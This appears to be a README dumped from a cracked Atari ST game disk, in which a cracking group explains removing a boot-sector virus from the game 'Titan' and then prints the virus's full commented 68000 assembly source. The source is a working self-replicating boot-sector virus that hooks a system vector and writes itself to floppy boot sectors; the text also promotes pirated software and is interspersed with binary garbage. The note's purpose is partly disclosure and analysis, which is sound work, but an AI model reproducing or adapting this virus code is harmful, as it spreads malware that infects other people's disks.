O1å pÐ åèðÿ`ðÿå ÷ðÿ`ðÿåô8åREAD_ME NOWå bOD€TITUS_V S å bODCå Âg Shit!! Titan had the same built-in viurus on it that Dragon-Scape had!! So KC Slim to the rescue. I've removed the virus and replaced it booter from DC Format (by-pass hard-drive, do a cold reset). Then I put it into SHADOW format (I have no idea why the idiot that originally did it, did it in Pro- Elite NON-PROTECTED format) because even though it is cracked, there is still some data on the disk that is hidden. Titan came with a built-in virus in the boot-sector.å This virus didn't seem to do anything but spread itself to other disks, but who knows what might happen down the road (I think it's looking for the right boot disk and then nasty things can/will happen). I don't think the program TITAN will put the virus back on the disk, but I would suggest that you run the game off of a write-protected disk and make sure that your computer is turned off for at least 10 seconds after you're done (but then I suggest that for running any pirated game!). For you folks with an inquisitive mind, I have also included the source code for the virus...called TITUS_V.S (in DevPac format). It is identical to the one I found on DRAGONSCAPE. It is commented heavily, so you should be able to see what the virus is trying to do. With the same virus floating around several different programs recently, I would suggest you check ALL of your floppy diskettes carefully. But remember, some protected software has a built-in boot sector and it's needed by the program to run. Brought to you by the virus haters at The Revolution and KC Slim å€*** Virus from TITUS. start: bra.s start1 dc.w 0,0,0 * filler dc.b $28,$1b,$68 * serial # dc.b $00,$02 * bytes per sector ($200/512) dc.b $02 * sectors per cluster (2) dc.w $0100 * reserved sectors dc.b $02 * # of FAT tables dc.b $70,$00 * # of directory entries ($70/112) dc.b $20,$03 * # of sectors on disk ($320/800) dc.b $f8 * media description dc.w $0500 * sectors per FAT (5) dc.w $0a00 * Sectors per Track (10) dc.w $0100 * Sides per track (1) dc.w $å0 * # of hidden sectors dc.w 0,0,0,0,0,0,0 * unused dc.w 0,0,0,0,0,0,0 * unused start1: lea start(pc),a0 * put start address in A0 move.l $4c6,a1 * Pointer to common disk buffer (a no-no) add.l #$600,a1 * point into buffer move.l a1,a2 * save unmodified address move.w #$100,d0 * 256x2 byte counter .loop1: move.w (a0)+,(a1)+ * move program into disk buffer subq.w #1,d0 * count down bpl.s .loop1 * loop till done lea start2(pc),a0 * put address of next section in A0 lea start(pc),a1 * start of program in A1 sub.l a1,a0 * how many bytes from start to next section add.l a0,a2 * add to unmodified address jmp (a2) * now jump into buffer (at start2) *å !and continue start2: lea d_data1(pc),a0 * data area to save old H/D BPB vector move.l $472,(a0) * save old H/D BPB vector lea virus(pc),a0 * address of actual virus routine move.l a0,$472 * put our address in place rts * return to TOS ** we will only come here when system looks for a h/d or ramdisk virus: link a6,#0 move.w $8(a6),-(a7) * put drive descriptor on stack move.l d_data1(pc),a0 * old vector routine jsr (a0) * go do routine - then return to here addq.l #2,a7 * cleanup stack movem.l d0/a0-a1,-(a7) * save effected registers lea d_data2(pc),a0 * flag tst.w (a0) * is flag set? beq get_out1 * no, then we don't do anything move.l $4c6,a0 * disk buffer move.w (a0),d0 * get first two bytes pointed at cmp.w #$6038,d0 * is it our bra start1? beq.s get_out * yes, loop around following lea start(pc),a1 * point to start of program move.w (a1)+,(a0)+ * move #$6038 move.w (a1)+,(a0)+ * move #$å0 move.w (a1)+,(a0)+ * move #$å0 ** Now we bypass the floppy disk bpb data (leave old data alone) and ** move our program in after their data add.l #$32,a1 * point to byte #$38 add.l #$32,a0 * point to start of program (-2) move.w #$e7,d0 * 231x2 bytes to move .loop1: move.w (a1)+,(a0)+ * move program down into bpb buffer subq.w #1,Gd0 * count down bne.s .loop1 * loop till done move.w #1,-(a7) * make booter executable move.w #-1,-(a7) * keep same # tracks move.l #-1,-(a7) * use same serial number move.l $4c6,-(a7) * use bpb buffer move.w #$12,-(a7) * PROTOBOT - write boot sector trap #14 move.w #1,-(a7) * 512 bytes clr.l -(a7) * track 0, side 0 move.w #1,-(a7) * sector 1 move.w 8(a6),-(a7) * device # clr.l -(a7) * not used move.l $4c6,-(a7) * buffer move.w #9,-(a7) * FLOPWR - write sector to floppy trap #14 add.l #$22,a7 * cleanup stack bra.s get_out1 * we're done get_out: move.w 2(a0),d0 * you got me what it's looking for cmp.w #$1092,d0 * bne.s get_out1 * didn't find what it was looking for lea start(pc),a1 * point to start of program move.l 2(a1),d0 * cmp.w 4(a0),d0 * bgt.s get_out1 * jsr (a0) * go do routine in memory lea d_data2(pc),a0 * flag clr.w (a0) * clear so we won't come through again get_out1: movem.l (a7)+,d0/a0-a1 * restore registers unlk a6 rts d_data1: dc.l $00fc0fca d_data2: dc.w $0001 end å ½åååååååååååååååååååååååååååååååååååååååååååååååååååååååååååååååååååååååååååå